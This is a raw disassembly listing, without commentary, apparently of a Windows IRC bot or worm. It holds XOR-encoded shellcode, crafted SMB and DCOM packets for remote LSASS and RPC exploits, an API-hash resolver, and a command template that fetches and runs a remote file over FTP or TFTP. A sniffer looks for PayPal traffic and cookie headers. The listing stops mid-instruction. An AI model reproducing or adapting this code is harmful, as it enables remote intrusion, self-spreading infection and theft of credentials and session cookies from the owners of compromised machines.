6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o align 4 off_4274D8 dd offset word_505446 ; DATA XREF: ___:00426C70o off_4274DC dd offset byte_435249 ; DATA XREF: ___:00426C6Co off_4274E0 dd offset word_544F42 ; DATA XREF: ___:off_426C68o unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_427528 db 2 ; DATA XREF: sub_402688+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o align 4 unk_427578 db 2 ; DATA XREF: sub_402688+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4275C0 db 2 ; DATA XREF: sub_402688+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_427604 db 2 ; DATA XREF: sub_402688+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o ; sub_402DD7+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B84+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o dd 20h, 5C005Ch, 0 off_427A0C dd offset unk_43005C ; DATA XREF: sub_402B84+15Do a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_427A80 dd offset word_580046 ; DATA XREF: sub_402B84+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0 dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo asc_427B64: ; DATA XREF: sub_4029E9+1Co ; sub_402ACC+16o unicode 0, <\\>,0 align 4 off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co ; sub_402ACC+Bo dd offset dword_430050 dd 24h unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 10h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o align 8 jmp short loc_427BDA ; =============== S U B R O U T I N E ======================================= sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_427BD2: ; CODE XREF: sub_427BCA+Cj xor byte ptr [ebx+ecx], 99h loop loc_427BD2 jmp short loc_427BDF ; --------------------------------------------------------------------------- loc_427BDA: ; CODE XREF: ___:00427BC8j call near ptr sub_427BCA loc_427BDF: ; CODE XREF: sub_427BCA+Ej jo short loc_427C43 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_427C61 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_427C61: ; CODE XREF: sub_427BCA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_427BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_427D08: ; DATA XREF: sub_403249+156o ; sub_403249+212o jmp short loc_427D1A ; =============== S U B R O U T I N E ======================================= sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_427D12: ; CODE XREF: sub_427D0A+Cj xor byte ptr [edx+ecx], 99h loop loc_427D12 jmp short loc_427D1F ; --------------------------------------------------------------------------- loc_427D1A: ; CODE XREF: ___:loc_427D08j call sub_427D0A loc_427D1F: ; CODE XREF: sub_427D0A+Ej jo short near ptr dword_427C98+1Eh cwde cdq cdq retn sub_427D0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403249+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040370Do dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403739o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403760o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_403249+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r ; sub_403249+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o ; sub_405144+DFo ... aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030E8+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o ; --------------------------------------------------------------------------- loc_428620: ; DATA XREF: sub_403249+177o jmp short loc_428628 ; --------------------------------------------------------------------------- jmp short loc_42862A ; --------------------------------------------------------------------------- align 8 loc_428628: ; CODE XREF: ___:loc_428620j ; DATA XREF: sub_403249+27o pop esp pop esp loc_42862A: ; CODE XREF: ___:00428622j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r byte_42863C db 90h ; DATA XREF: sub_403A90+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o dd 800000D4h, 0 unk_428720 db 81h ; │ ; DATA XREF: sub_403F94+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_42876C db 41h ; DATA XREF: sub_404032+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4287B0 proc near ; DATA XREF: ___:0040430Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4288AC push dword ptr [esi] push 63D61209h call sub_4288C2 mov [esi+8], eax call sub_428875 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4288C2 mov [esi+0Ch], eax call sub_428827 push dword ptr [esi+4] push 4C0297FAh call sub_4288C2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4287B0 endp ; =============== S U B R O U T I N E ======================================= sub_428827 proc near ; CODE XREF: sub_4287B0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_428850 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_428827 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428850 proc near ; CODE XREF: sub_428827+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42885F: ; CODE XREF: sub_428850+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42886C inc ebx jmp short loc_42885F ; --------------------------------------------------------------------------- loc_42886C: ; CODE XREF: sub_428850+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_428850 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42888D: ; CODE XREF: sub_428875+1Ej cmp [ecx], ebx jz short loc_428895 mov ecx, [ecx] jmp short loc_42888D ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428875+1Aj mov edx, edi loc_428897: ; CODE XREF: sub_428875+2Aj cmp [edx+4], ebx jz short loc_4288A1 mov edx, [edx+4] jmp short loc_428897 ; --------------------------------------------------------------------------- loc_4288A1: ; CODE XREF: sub_428875+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_428875 endp ; =============== S U B R O U T I N E ======================================= sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4288AC endp ; =============== S U B R O U T I N E ======================================= sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p ; sub_4287B0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4288D8: ; CODE XREF: sub_4288C2+33j jecxz short loc_428912 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4288E5: ; CODE XREF: sub_4288C2+2Dj lodsb cmp al, ah jz short loc_4288F1 ror edi, 0Dh add edi, eax jmp short loc_4288E5 ; --------------------------------------------------------------------------- loc_4288F1: ; CODE XREF: sub_4288C2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4288D8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j ; sub_4288C2:loc_428912j jmp short loc_428912 sub_4288C2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_428918 proc near ; DATA XREF: ___:004042BFo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42896A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_428935: ; CODE XREF: sub_428918+38j jecxz short loc_428965 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_428940: ; CODE XREF: sub_428918+32j lodsb test al, al jz short loc_42894C ror edx, 0Dh add edx, eax jmp short loc_428940 ; --------------------------------------------------------------------------- loc_42894C: ; CODE XREF: sub_428918+2Bj cmp edx, [esp+arg_0] jnz short loc_428935 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_428965: ; CODE XREF: sub_428918:loc_428935j mov [esp+arg_0], ebx retn sub_428918 endp ; =============== S U B R O U T I N E ======================================= sub_42896A proc near ; CODE XREF: sub_428918+7p ; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_428983 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42898E ; --------------------------------------------------------------------------- loc_428983: ; CODE XREF: sub_42896A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42898E: ; CODE XREF: sub_42896A+14j pop edi xor esi, esi pusha push esi jmp short loc_4289A2 sub_42896A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_428995 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42896A loc_4289A2: ; CODE XREF: sub_42896A+29j call sub_428995 loc_4289A7: ; DATA XREF: 